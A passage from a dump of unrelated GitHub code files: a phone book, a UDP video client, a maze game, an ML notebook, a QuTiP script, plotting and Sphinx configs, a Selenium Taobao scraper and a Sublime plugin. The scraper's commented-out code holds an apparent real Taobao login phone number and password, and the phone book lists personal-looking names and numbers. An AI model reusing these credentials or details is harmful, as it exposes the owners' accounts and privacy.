'info': 'Сосед'},\n {'name': 'Ткачёва Людмила Викторовна',\n 'phone': '+7 (909) 811-62-72',\n 'info': 'Учительница'},\n {'name': 'Ласман Афанасий Денисович',\n 'phone': '+7 (978) 673-76-58',\n 'info': 'Друг семьи'},\n {'name': 'Смагин Трофим Ефимович',\n 'phone': '+7 (910) 353-78-55',\n 'info': 'Плитка'},\n {'name': 'Мирзoяна Юлиана Ефремовна',\n 'phone': '+7 (973) 127-85-87',\n 'info': 'Мамина подруга'},\n {'name': 'Мирзоянов Даниил Романович',\n 'phone': '+7 (973) 164-39-41',\n 'info': 'Сын маминой подруги'}]\nprint(phone_book)\n\n# Перевод списка с вложенными словарями в строку\n# data = []\n# for i in phone_book:\n# data.append(';'.join([v for v in i.values()]))\n# data = '\\n'.join(data)\n# print(data)\n\n\n# view\ndef user_to_delete() -> str:\n del_user = input('\\n' + txt.delete_user)\n return del_user\n\n\n# controller\nuser_delete = user_to_delete()\n\n\n# model\ndef deleting_user(user_delete: str):\n global phone_book\n for i in phone_book:\n if user_delete.upper() in i.get('name').upper():\n phone_book.pop(phone_book.index(i))\n","repo_name":"Cotang01/PhoneBookGB","sub_path":"PB_Modules/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22342275344","text":"def receiver(queueChunk ,addrPortServer):\n from time import sleep, time\n from socket import socket, AF_INET, SOCK_DGRAM\n UDPClientSocket = socket(family=AF_INET, type=SOCK_DGRAM)\n UDPClientSocket.settimeout(1)\n payloadSize = 508\n sendCounter = 0\n print('Starting receiver...')\n while 1:\n # SEND ACK\n if time() - sendCounter > 3:\n print('Acked!')\n sendCounter = time()\n UDPClientSocket.sendto(b'\\x06', addrPortServer)\n\n # RECEIVING DATA FROM SERVER\n try: # GETTING FRAME\n bytesReceived = b''\n latency = time()\n while 1:\n bytesFromServer = UDPClientSocket.recvfrom(payloadSize)[0]\n bytesReceived += bytesFromServer\n if bytesFromServer == b'\\x16': # IF SYN\n bytesReceived = b''\n continue\n elif len(bytesFromServer) != payloadSize:\n print(len(bytesReceived))\n queueChunk.put(bytesReceived)\n break\n latency = time() - latency\n except Exception as e:\n latency = None\n # print(e)\n\ndef displayer(queueChunk):\n from zlib import decompress\n from numpy import frombuffer, uint8\n from cv2 import imdecode, resize, imshow, destroyAllWindows, imread\n from PIL import Image\n from time import sleep\n currentFrame = imread('./waiting-server.jpg')\n print('Starting displayer...')\n while 1:\n try:\n currentFrame = resize(imdecode(frombuffer(decompress(queueChunk.get()),dtype=uint8),1), (640, 480))\n break\n except Exception as e:\n sleep(0.001)\n Image.fromarray(currentFrame).show()\n destroyAllWindows()\n\nif __name__ == '__main__':\n from multiprocessing import Process, Queue, Value\n from keyboard import wait\n\n TOP_ADDR_PORT = ('127.0.0.1', 20001)\n DOWN_ADDR_PORT = ('127.0.0.1', 20002)\n\n queueTop = Queue()\n queueDown = Queue()\n\n pTopReceive = Process(target=receiver, args=(queueTop, TOP_ADDR_PORT,))\n pDisplay = Process(target=displayer, args=(queueTop,))\n pTopReceive.start()\n pDisplay.start()\n wait('q')\n print('Terminating processes...')\n pTopReceive.terminate()\n pDisplay.terminate()\n print('All processes terminated!')","repo_name":"wawan-ikhwan/RDDP","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8681764078","text":"from modules.Character import Character\nfrom modules.Maze import Maze\nfrom modules.Item import Item\nfrom modules.Tile import Tile\nfrom enums.DEFAULT import Default\nfrom enums.TILE_TYPES import TileTypes\nfrom enums.ACTIONS import Actions\nfrom constants.ITEMS import Items\nfrom constants.ENEMIES import Enemies\n\n##### PLAYER INIT #####\nname = input(\"What is your character's name?\\n\")\nplayer = Character(name, Default.HEALTH.value, weapon=Items.KNIFE, armor=Items.LEATHER_ARMOR)\n\nitems = [Items.SMALL_HEALTH_POTION, Items.MEDIUM_HEALTH_POTION, Items.LARGE_HEALTH_POTION,\n Items.KNIFE, Items.SWORD, Items.ALBERT_QI,\n Items.LEATHER_ARMOR, Items.CHAINMAIL_ARMOR, Items.ALBERT_QI]\n\nenemies = [Enemies.IMP, Enemies.TROLL]\n\nlevel = 0\n\ndef combat():\n combat_won = player.combat(maze.get_tile(player.pos).content)\n if combat_won:\n maze.set_tile(player.pos, Tile(TileTypes.EMPTY))\n\ndef pick_up_item():\n item = maze.get_tile(player.pos).content\n player.inventory.append(item)\n print(\"\\nYou have picked up the \" + item.name + \"\\n\")\n maze.set_tile(player.pos, Tile(TileTypes.EMPTY))\n\ndef check_inventory():\n player.print_inventory()\n if player.inventory:\n item = input(\"What item would you like to inspect? Enter 0 to go back\\n\")\n while item not in [str(i) for i in range(len(player.inventory) + 1)]:\n item = input(\"Please enter a valid input\\n\")\n print(\"\")\n if int(item) != 0:\n print(\"===== \" + player.inventory[int(item)-1].name + \" =====\")\n print(player.inventory[int(item)-1].description + \"\\n\")\n choice = input(\"What would you like to do?\\n0 - GO BACK\\n1 - USE ITEM\\n2 - DISCARD ITEM\\n\")\n while choice not in [str(i) for i in range(3)]:\n choice = input(\"Please enter a valid input\\n\")\n if int(choice) == Actions.USE_ITEM:\n player.inventory[int(item)-1].use(player)\n elif int(choice) == Actions.DISCARD_ITEM:\n print(player.inventory[int(item)-1].name + \" has been discarded.\\n\")\n player.inventory.pop(int(item)-1)\n##### MAZE INIT #####\nmaze = Maze(Default.MAZE_WIDTH, Default.MAZE_HEIGHT, enemies=enemies, items=items)\nmaze.generate()\nmaze.populate()\nplayer.print_status()\nmaze.print(player.pos)\nwhile not player.health <= 0:\n level += 1\n while player.pos != (maze.height-2, maze.width-2) and player.health > 0:\n print(\"What action will you take?\")\n for action in Actions:\n print(str(action.value) + \" - \" + str(action.name).replace(\"_\", \" \"))\n choice = input()\n while choice not in [str(move.value) for move in maze.legal_actions(player.pos)]:\n choice = input(\"Please pick a legal move\\n\")\n if int(choice) == Actions.CHECK_STATUS.value:\n player.print_status()\n elif int(choice) == Actions.CHECK_INVENTORY.value:\n check_inventory()\n elif int(choice) == Actions.DISPLAY_MAZE:\n maze.print(player.pos)\n else:\n player.pos = maze.new_position(player.pos, int(choice))\n if maze.check_combat(player.pos):\n combat()\n if maze.check_item(player.pos):\n pick_up_item()\n maze.print(player.pos)\n if player.pos == (maze.height-2, maze.width-2) and player.health > 0:\n ##### NEXT LEVEL #####\n print(\"You have completed level \" + str(level) + \".\")\n enemies = [Enemies.IMP, Enemies.TROLL]\n maze = Maze(maze.width + 2, maze.height + 2, enemies=enemies, items=items)\n player.pos = (1,1)\n player.max_health += Default.HEALTH_INC.value\n player.health += Default.HEALTH_INC.value\n print(\"Your max health has been raised by \" + str(Default.HEALTH_INC.value) + \".\")\n maze.generate()\n maze.populate()\n player.print_status()\n maze.print(player.pos)\nprint(\"You died. You reached level \" + str(level) + \".\")","repo_name":"v-tao/dungeons","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36798405349","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\ndata= pd.read_csv(\"aug_train.csv\")\n\n\n# In[2]:\n\n\ny = data.iloc[:,-1]\nx = data.iloc[:,2:-1]\n\n\n# In[3]:\n\n\n# features = ['abcd', '12', 'Male', 'Has relevent experience', 'no_enrollment', 'Primary School', 'STEM', '34', '50-99', 'Pvt Ltd', '1', '34']\n# column_name = ['city', 'city_development_index', 'gender', 'relevent_experience',\n# 'enrolled_university', 'education_level', 'major_discipline',\n# 'experience', 'company_size', 'company_type', 'last_new_job',\n# 'training_hours']\n# test_row = pd.DataFrame([features],columns=column_name)\n\n\n# In[4]:\n\n\nfeatures = ['12', 'Male', 'Has relevent experience', 'no_enrollment', 'Primary School', 'STEM', '34', '50-99', 'Pvt Ltd', '1', '34']\ncolumn_name = [ 'city_development_index', 'gender', 'relevent_experience',\n 'enrolled_university', 'education_level', 'major_discipline',\n 'experience', 'company_size', 'company_type', 'last_new_job',\n 'training_hours']\ntest_row = pd.DataFrame([features],columns=column_name)\n\n\n# In[5]:\n\n\nx.experience = x.experience.replace({\"<1\":0,\">20\":21})\nx.experience = pd.to_numeric(x.experience)\n\n\n# In[6]:\n\n\nif int(test_row['experience'][0]) > 20:\n test_row['experience'] = 21\n\n\n# In[7]:\n\n\ntest_row\n\n\n# In[8]:\n\n\nfrom sklearn.impute import SimpleImputer\n\ncol1 = ['experience','enrolled_university','last_new_job','education_level']\ncol2 = ['major_discipline','gender','company_size','company_type']\n\n\ndef modeimpute(df,imputer,cols):\n new_df = pd.DataFrame(imputer.fit_transform(df[cols]),columns=cols)\n df.drop(cols,axis=1,inplace=True)\n return df.join(new_df)\n \nsi1 = SimpleImputer(strategy='most_frequent')\nx = modeimpute(x,si1,col1)\n\nfor col in col2:\n x[col+\"_missing\"] = np.where(x[col].isnull(),1,0)\n\nsi2 = SimpleImputer(strategy='most_frequent')\nx = modeimpute(x,si2,col2)\n\n\n# In[9]:\n\n\nx.shape\n\n\n# In[10]:\n\n\nfor col in col2:\n test_row[col+\"_missing\"] = np.where(test_row[col].isnull(),1,0)\n\n\n# In[11]:\n\n\ntest_row.shape\n\n\n# In[12]:\n\n\nfrom sklearn.preprocessing import OneHotEncoder\ncols = ['gender', 'relevent_experience',\n 'enrolled_university', 'education_level', 'major_discipline',\n 'company_size', 'company_type', 'last_new_job']\n\nOH_encoder = OneHotEncoder(drop='first', sparse=False)\nOH_col = pd.DataFrame(OH_encoder.fit_transform(x[cols]), columns=OH_encoder.get_feature_names())\nOH_col.index = x.index\nx = x.drop(cols, axis=1)\nx = x.join(OH_col)\nx\n\n\n# In[13]:\n\n\nOH_col2 = pd.DataFrame(OH_encoder.transform(test_row[cols]), columns=OH_encoder.get_feature_names())\nOH_col2.index = test_row.index\ntest_row = test_row.drop(cols, axis=1)\ntest_row = test_row.join(OH_col)\ntest_row\n\n\n# In[18]:\n\n\nfrom sklearn.preprocessing import StandardScaler\n\nscaler=StandardScaler()\nx=pd.DataFrame(scaler.fit_transform(x),columns=x.columns)\nx\n\n\n# In[16]:\n\n\ntest_row = pd.DataFrame(scaler.fit_transform(test_row),columns=test_row.columns)\n\n\n# In[20]:\n\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score\n\ndtc = DecisionTreeClassifier()\n\ndtc.fit(x,y)\n\n\n# In[31]:\n\n\npredicted = dtc.predict(test_row)\n\n\n# In[32]:\n\n\npredicted\n\n\n# In[33]:\n\n\nimport pickle\npickle.dump(dtc,open(\"dtcmodel.pkl\", 'wb'))\n\n\n# In[36]:\n\n\nmodel = pickle.load(open('dtcmodel.pkl','rb'))\nprint(model.predict(test_row))\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"chandravardhansingh/Data_Science_employee","sub_path":"train and test together.py","file_name":"train and test together.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13622788356","text":"# testing to find validity of results from jumpQTdensity.py\r\n\r\nimport qutip as qp\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ntimes = np.load(\"../dat/SSEjump/QTextdrive_N_1500ntraj_10000_swap_times.npy\")\r\ndt = times[-1]/times.size\r\n\r\ntheta = np.sqrt(dt)\r\n\r\nbas0 = np.matrix([[1 + 0j], [0]])\r\nbas1 = np.matrix([[0],[1 + 0j]])\r\n\r\n# Hamiltonian external driving\r\n\r\nomega0 = 1.0\r\nomega1 = 1.0\r\nomega = 0.1\r\n\r\nsigx = np.matrix([ [0,1], [1,0] ])\r\nsigy = np.matrix([ [0,-1j], [1j,0] ])\r\nsigz = np.matrix([ [1,0], [0,-1] ])\r\n\r\nH = 0.5*(omega0 - omega)*qp.sigmaz() + 0.5*omega1*qp.sigmax()\r\n\r\n\r\nA_cnot = qp.basis(2,1)*qp.basis(2,1).dag()\r\nA_swap = qp.basis(2,0)*qp.basis(2,1).dag()\r\n\r\na = 1.0\r\nA = A_swap.copy()\r\n\r\nc_ops = [a*A]\r\n\r\npsi0 = (qp.basis(2,0) + qp.basis(2,1))/np.sqrt(2) # init state\r\n\r\n\r\nresult = qp.mesolve(H, psi0, times, c_ops, [])\r\n\r\nmaster = np.zeros((times.size,2,1))\r\nmaster[:,0,0] = np.array(result.states)[:,0,0]\r\nmaster[:,1,0] = np.array(result.states)[:,1,1]\r\n\r\nfilename_master = \"../dat/SSEjump/\" + \"LBextdrive_\" + \"N_\" + str(times.size-1) + \"_swap\"\r\nnp.save(filename_master, master)","repo_name":"EALongva/QuantumTrajectories","sub_path":"src/Lindblad.py","file_name":"Lindblad.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25062502874","text":"from __future__ import absolute_import\nfrom tornado import gen\nfrom unittest import skip\n\nfrom test.test_amqp import TestCase as AMQPTestCase\n\n\nclass TestCase(AMQPTestCase):\n\n @gen.coroutine\n def create_channel(self, connection=None, cleanup=True, publisher_confirms=False, **kwargs):\n if connection is None:\n connection = yield self.create_connection()\n\n channel = yield connection.channel(publisher_confirms=publisher_confirms, **kwargs)\n\n if cleanup:\n self.addCleanup(self.wait_for, channel.close)\n\n raise gen.Return(channel)\n\n test_simple_publish_and_receive = skip(\"skipped\")(AMQPTestCase.test_simple_publish_and_receive)\n test_simple_publish_without_confirm = skip(\"skipped\")(AMQPTestCase.test_simple_publish_without_confirm)\n","repo_name":"aiidateam/topika","sub_path":"test/test_amqp_without_publisher_confirms.py","file_name":"test_amqp_without_publisher_confirms.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28210117667","text":"import matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom collections import defaultdict\nimport sys\nimport argparse\n\n# makes beautiful bar charts in the style of the CCR paper\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-f\", \"--input\", help = \"TSV of top 10,50,100,250,500,1000 genes and scores\")\nparser.add_argument(\"-o\", \"--output\", help = \"output file name for plot\")\nparser.add_argument(\"-l\", \"--labels\", nargs = 4, help = \"labels for plot\")\nargs = parser.parse_args()\ninfile = args.input\nfilename = args.output\nlabels = args.labels\n\nif( not labels):\n labels = ['Phen2Gene', 'Original Phenolyzer (ver. 0.2.2)', 'Amelie', 'GADO']\n \n\nwhile(len(labels) < 4):\n labels.append('label{}'.format(str(len(labels))))\n\n'''\nif labels:\n label=labels[0]\n adlabel=labels[-1]\nelse:\n label=\"Phen2Gene\"\n adlabel=\"Original Phenolyzer (ver. 0.2.2)\"\n'''\nscores = open(infile, \"r\")\nranks, phengene, phenolyzer, amelie, gado = [],[],[],[],[]\nnext(scores)\nfor line in scores:\n fields = line.strip('\\n').split(\"\\t\")\n #print(line)\n ranks.append(fields[0]); phengene.append(round(float(fields[1]),1));phenolyzer.append(float(fields[2]));amelie.append(float(fields[3]));gado.append(float(fields[4]))\n\n\ndef autolabel(rects, ax, yoffset=0, xoffset=0):\n \"\"\"\n Attach a text label above each bar displaying its height\n \"\"\"\n global filename\n for rect in rects:\n height = rect.get_height()\n if height==1: # 2 for log2\n height=rect.get_y()\n ax.text(rect.get_x() + rect.get_width()/2., .65*height,\n '%.1f' % float(height),\n ha='center', va='bottom')\n continue\n if('TAF1' in filename):\n ax.text(rect.get_x() + rect.get_width()/2., 0.9*height + yoffset,\n '%.1f' % float(height),\n ha='center', va='bottom', fontweight='bold')\n else:\n ax.text(rect.get_x() + rect.get_width()/2., 1.05*height,\n '%.1f' % float(height),\n ha='center', va='bottom', fontweight='bold')\n\nimport seaborn as sns\nsns.set_style('white')\nmatplotlib.rcParams['pdf.fonttype'] = 42\n#matplotlib.rcParams['font.family'] = 'sans-serif'\n#matplotlib.rcParams['font.sans-serif'] = ['Arial']\nmatplotlib.rcParams['font.size'] = 11\n\nfig, ax = plt.subplots(1)\n\nwidth=0.4\ndistance = 2\nlefts=np.arange(0,distance*len(ranks),distance)\nrects=ax.bar(x=lefts,height=phengene,width=width,tick_label=ranks,color=(161/255.0,218/255.0,215/255.0), edgecolor=(96/255.0, 133/255.0, 131/255.0),label=labels[0])\nif('TAF1' in filename):\n autolabel(rects, ax, -6, -0.1)\n\nelse:\n\n autolabel(rects, ax, xoffset=-0.2)\n\n\nalefts=np.arange(0+width,distance*len(ranks)+width, distance)\n\n\n\n\nrects=ax.bar(x=alefts,height=phenolyzer,width=width,tick_label=ranks,color=(56/255.0,138/255.0,172/255.0),edgecolor=(96/255.0, 133/255.0, 131/255.0),label=labels[1])\nax.set_xticks(alefts-width*.5)\n\n\nautolabel(rects, ax)\n\n\n#ax.set_title(\"Accuracy at Finding Causal Genes\")\n#ax.legend(loc='upper left')\n\nalefts=np.arange(0+2*width,distance*len(ranks)+2*width, distance)\nrects=ax.bar(x=alefts,height=amelie,width=width,tick_label=ranks,color=(95/255.0,158/255.0,160/255.0),edgecolor=(96/255.0, 133/255.0, 131/255.0),label=labels[2])\nax.set_xticks(alefts-width*.5)\nif('TAF1' in filename):\n autolabel(rects, ax, -6)\n\nelse:\n\n autolabel(rects, ax)\n\n\n\n\n\nalefts=np.arange(0+3*width,distance*len(ranks)+3*width, distance)\nrects=ax.bar(x=alefts,height=gado,width=width,tick_label=ranks,color=(135/255.0,206/255.0,250/255.0),edgecolor=(96/255.0, 133/255.0, 131/255.0),label=labels[3])\nax.set_xticks(alefts- width*1.5)\n\nautolabel(rects, ax, xoffset=0.1)\n\n\nfig.legend(loc='upper left', ncol=1,bbox_to_anchor=(0, 1.1))\n\ndef mkdir_p(path):\n import os\n if not os.path.isdir(path):\n os.makedirs(path)\n\nlims=ax.get_ylim()\nif('TAF1' in filename):\n # print(lims)\n ax.set_ylim(lims[0]/1.5, lims[1]*1.11)\nelse:\n ax.set_ylim(lims[0]/1.5, lims[1]+.4)\nax.set_xlabel(\"Ranked Gene Lists\", fontsize=15)\nax.set_ylabel(\"% of Cases with Causal Gene in List\", fontsize=14.5)\nsns.despine()\nmkdir_p(\"figures\")\nplt.savefig('figures/phen2gene'+filename+'.png', bbox_inches='tight')\n","repo_name":"WGLab/Phen2Gene","sub_path":"accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"61"} +{"seq_id":"17007155433","text":"# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\nimport os\nimport sys\nfrom datetime import datetime\n\nfrom packaging.version import parse\n\nfrom cherab.inversion import __version__\n\nsys.path.insert(0, os.path.abspath(\".\"))\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = \"cherab-inversion\"\nauthor = \"Koyo Munechika\"\ncopyright = f\"2020-{datetime.now().year}, {author}\"\nversion_obj = parse(__version__)\nrelease = version_obj.base_version\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.autosummary\",\n \"sphinx.ext.mathjax\",\n \"sphinx.ext.napoleon\",\n \"sphinx.ext.intersphinx\",\n \"sphinx.ext.todo\",\n \"sphinx-prompt\",\n \"sphinx_copybutton\",\n \"nbsphinx\",\n \"sphinx_design\",\n \"IPython.sphinxext.ipython_console_highlighting\",\n \"sphinx_codeautolink\",\n \"sphinx_github_style\",\n \"doi_role\",\n]\n\ndefault_role = \"obj\"\n\n# autodoc config\nautodoc_typehints = \"description\"\nautodoc_typehints_format = \"short\"\nautodoc_member_order = \"bysource\"\n\n# autosummary config\nautosummary_generate = True\nautosummary_generate_overwrite = True\nautosummary_imported_members = True\nautosummary_ignore_module_all = False\n\n# napoleon config\nnapoleon_google_docstring = False\nnapoleon_numpy_docstring = True\nnapoleon_include_init_with_doc = False\nnapoleon_use_param = True\nnapoleon_use_ivar = False\n\n# todo config\ntodo_include_todos = True\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = [\"_templates\"]\n\n# This is added to the end of RST files — a good place to put substitutions to\n# be used globally.\nrst_epilog = \"\"\nwith open(\"common_links.rst\") as cl:\n rst_epilog += cl.read()\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = [\n \"_build\",\n \"Thumbs.db\",\n \".DS_Store\",\n \"**.ipynb_checkpoints\",\n \"common_links.rst\",\n]\n\n# The suffix of source filenames.\nsource_suffix = \".rst\"\n\n# The master toctree document.\nmaster_doc = \"index\"\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = \"pydata_sphinx_theme\"\n\n# html_logo = \"_static/images/cherab_lhd_logo.svg\"\n\n# html_favicon = \"_static/favicon/favicon.ico\"\n\n# Define the json_url for our version switcher.\njson_url = \"https://cherab-inversion.readthedocs.io/en/latest/_static/switcher.json\"\nversion_match = os.environ.get(\"READTHEDOCS_VERSION\")\n# If READTHEDOCS_VERSION doesn't exist, we're not on RTD\n# If it is an integer, we're in a PR build and the version isn't correct.\n# If it's \"latest\" → change to \"dev\" (that's what we want the switcher to call it)\nif not version_match or version_match.isdigit() or version_match == \"latest\":\n version_match = \"dev\"\nelif version_match == \"stable\":\n version_match = f\"v{release}\"\n\nhtml_theme_options = {\n \"icon_links\": [\n {\n \"name\": \"GitHub\",\n \"url\": \"https://github.com/munechika-koyo/cherab_inversion\",\n \"icon\": \"fab fa-github-square\",\n \"type\": \"fontawesome\",\n },\n {\n \"name\": \"PyPI\",\n \"url\": \"https://pypi.org/project/cherab-inversion\",\n \"icon\": \"fa-solid fa-box\",\n },\n ],\n \"pygment_light_style\": \"default\",\n \"pygment_dark_style\": \"native\",\n \"switcher\": {\n \"json_url\": json_url,\n \"version_match\": version_match,\n },\n \"show_version_warning_banner\": True,\n \"navbar_start\": [\"navbar-logo\", \"version-switcher\"],\n}\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\nhtml_title = \"Cherab-Inversion\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = [\"_static\"]\nhtml_css_files = [\n \"custom.css\",\n]\n\n# === Intersphinx configuration ===============================================\nintersphinx_mapping = {\n \"python\": (\"https://docs.python.org/3/\", None),\n \"numpy\": (\"https://numpy.org/doc/stable/\", None),\n \"scipy\": (\"https://docs.scipy.org/doc/scipy/\", None),\n \"matplotlib\": (\"https://matplotlib.org/stable/\", None),\n \"raysect\": (\"http://www.raysect.org\", None),\n \"cherab\": (\"https://www.cherab.info\", None),\n \"plotly\": (\"https://plotly.com/python-api-reference/\", None),\n}\n\nintersphinx_timeout = 10\n\n# === NB Sphinx configuration ============================================\nnbsphinx_allow_errors = True\nnbsphinx_prolog = \"\"\"\n{% set docname = env.doc2path(env.docname, base=None) %}\n.. only:: html\n\n .. role:: raw-html(raw)\n :format: html\n\n .. note::\n This page was generated from `{{ docname }}`__.\n __ https://github.com/munechika-koyo/cherab_inversion/blob/main/docs/notebooks/{{ docname }}\n\"\"\"\nnbsphinx_thumbnails = {}\n\n# === sphinx_github_style configuration ============================================\n# get tag name which exists in GitHub\ntag = \"main\" if version_obj.is_devrelease else f\"v{version_obj.public}\"\n\n# set sphinx_github_style options\ntop_level = \"cherab\"\nlinkcode_blob = tag\nlinkcode_url = \"https://github.com/munechika-koyo/cherab_inversion\"\nlinkcode_link_text = \"Source\"\n","repo_name":"munechika-koyo/cherab_inversion","sub_path":"docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":6159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70912922433","text":"import time;\nimport re\nfrom myCompany.GlobalVar import wait,driver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import StaleElementReferenceException\nfrom myCompany.UtilTaoBao import *\n\ndef taobao_serach(name):\n url = \"https://www.taobao.com\";\n with wait_for_page_load(driver):\n driver.get(url);\n\n xpath = '//*[@id=\"q\"]';\n wait.until(EC.visibility_of_element_located((By.XPATH,xpath)));\n driver.find_element_by_xpath(xpath).send_keys(name);\n\n xpath = '//*[@id=\"J_TSearchForm\"]/div[1]/button';\n wait.until(EC.visibility_of_element_located((By.XPATH,xpath)));\n with wait_for_page_load(driver):\n driver.find_element_by_xpath(xpath).click();\n\n\ndef get_current_pageNumber():\n return get_current_page_number(0)[0]\n\ndef goto_number_page(pagenumber):\n xpath = '//*[text()=\"下一页\"]';\n wait.until(EC.visibility_of_element_located((By.XPATH,xpath)));\n element = driver.find_element_by_xpath(xpath);\n\n #查找输入框\n parent = get_element_parent(element);\n number = len(parent.find_elements_by_xpath('.//input'));\n while(number == 0):\n parent = get_element_parent(parent);\n number = len(parent.find_elements_by_xpath('.//input'));\n\n parent = parent.find_element_by_xpath('.//input')\n parent.clear();\n parent.send_keys(pagenumber)\n\n #查找确定按钮\n parent = get_element_parent(element);\n number = len(parent.find_elements_by_xpath(\".//*[contains(text(),'确定')]\"));\n while(number == 0):\n parent = get_element_parent(parent);\n number = len(parent.find_elements_by_xpath(\".//*[contains(text(),'确定')]\"));\n\n parent = parent.find_element_by_xpath(\".//*[contains(text(),'确定')]\");\n print(\"goto\")\n with wait_for_ajax_load_taobao(driver):\n parent.click();\n\n\n\n\n\ndef get_element_parent(obj):\n xpath = '..'\n # wait.until(EC.visibility_of_element_located((By.XPATH,xpath)));\n parent = obj.find_element_by_xpath(xpath);\n return parent\n\n\ndef go_next_page():\n xpath = '//*[text()=\"下一页\"]';\n wait.until(EC.visibility_of_element_located((By.XPATH,xpath)));\n next_page = driver.find_element_by_xpath(xpath);\n\n parent = next_page.find_element_by_xpath(\"..\");\n # print(\"asdfasdf\")\n print(parent.tag_name)\n # 如果可以点击的话 那么下一页的父节点是a标签\n if(parent.tag_name == 'a'):\n\n with wait_for_ajax_load_taobao(driver):\n next_page.click();\n #刷单时间长了 淘宝在点击到下一页的时候会跳出登录框\n # time.sleep(2);\n # driver.switch_to.frame(driver.find_elements_by_tag_name(\"iframe\")[0])\n # xpath = '//*[@id=\"TPL_username_1\"]';\n # driver.find_element_by_xpath(xpath).send_keys(\"15957120592\");\n #\n # xpath = '//*[@id=\"TPL_password_1\"]';\n # driver.find_element_by_xpath(xpath).send_keys(\"yanli194612\");\n # wait_for_ajax();\n\n\n return True;\n else:\n return False\n\n\ndef get_total_page():\n xpath = '//*[text()=\"下一页\"]';\n wait.until(EC.visibility_of_element_located((By.XPATH,xpath)));\n next_page = driver.find_element_by_xpath(xpath);\n\n parent = next_page.find_element_by_xpath(\"..\");\n number = len(parent.find_elements_by_xpath(\".//*[contains(text(),'共')]\"))\n while number == 0:\n parent = parent.find_element_by_xpath(\"..\");\n number = len(parent.find_elements_by_xpath(\".//*[contains(text(),'共')]\"))\n total = parent.find_element_by_xpath(\".//*[contains(text(),'共')]\")\n text = total.text;\n res = re.findall(r\"\\d{1,}\",text);\n print(\"total\")\n print(res);\n return int(res[0]);\n\n","repo_name":"jacky1193610322/python","sub_path":"myCompany/findGoodsInTaobao.py","file_name":"findGoodsInTaobao.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13421762038","text":"\nimport os\nimport time\nimport tempfile\nimport sublime_plugin\n\nimport sublime\n\nfrom anaconda_go.lib.plugin import is_code\nfrom anaconda_go.lib.helpers import get_settings\n\n\nclass AnacondaGoAutoFormatEventListener(sublime_plugin.EventListener):\n \"\"\"AnacondaGO goimports formatter event listener class\n \"\"\"\n\n _last_save = time.time()\n\n def on_pre_save(self, view: sublime_plugin.sublime.View) -> None:\n \"\"\"Called just before the file is going to be saved\n \"\"\"\n\n if time.time() - self._last_save < 2:\n return\n\n auto_format = get_settings(view, 'anaconda_go_auto_format', False)\n if auto_format and is_code(view, lang='go'):\n filename = os.path.join(tempfile.gettempdir(), view.file_name())\n buf = view.substr(sublime.Region(0, view.size()))\n self._save_tmp_buffer(buf, filename)\n view.run_command(\n 'anaconda_go_format_sync', args={\"path\": filename}\n )\n self._remove_tmp_buffer(filename)\n\n AnacondaGoAutoFormatEventListener._last_save = time.time()\n\n def _save_tmp_buffer(self, buf, file_name):\n \"\"\"Save the buffer to a temporary file\n \"\"\"\n\n with open(file_name, 'wt') as fd:\n fd.write(buf)\n\n def _remove_tmp_buffer(self, file_name):\n \"\"\"Remove the temporary buffer from the file system\n \"\"\"\n\n 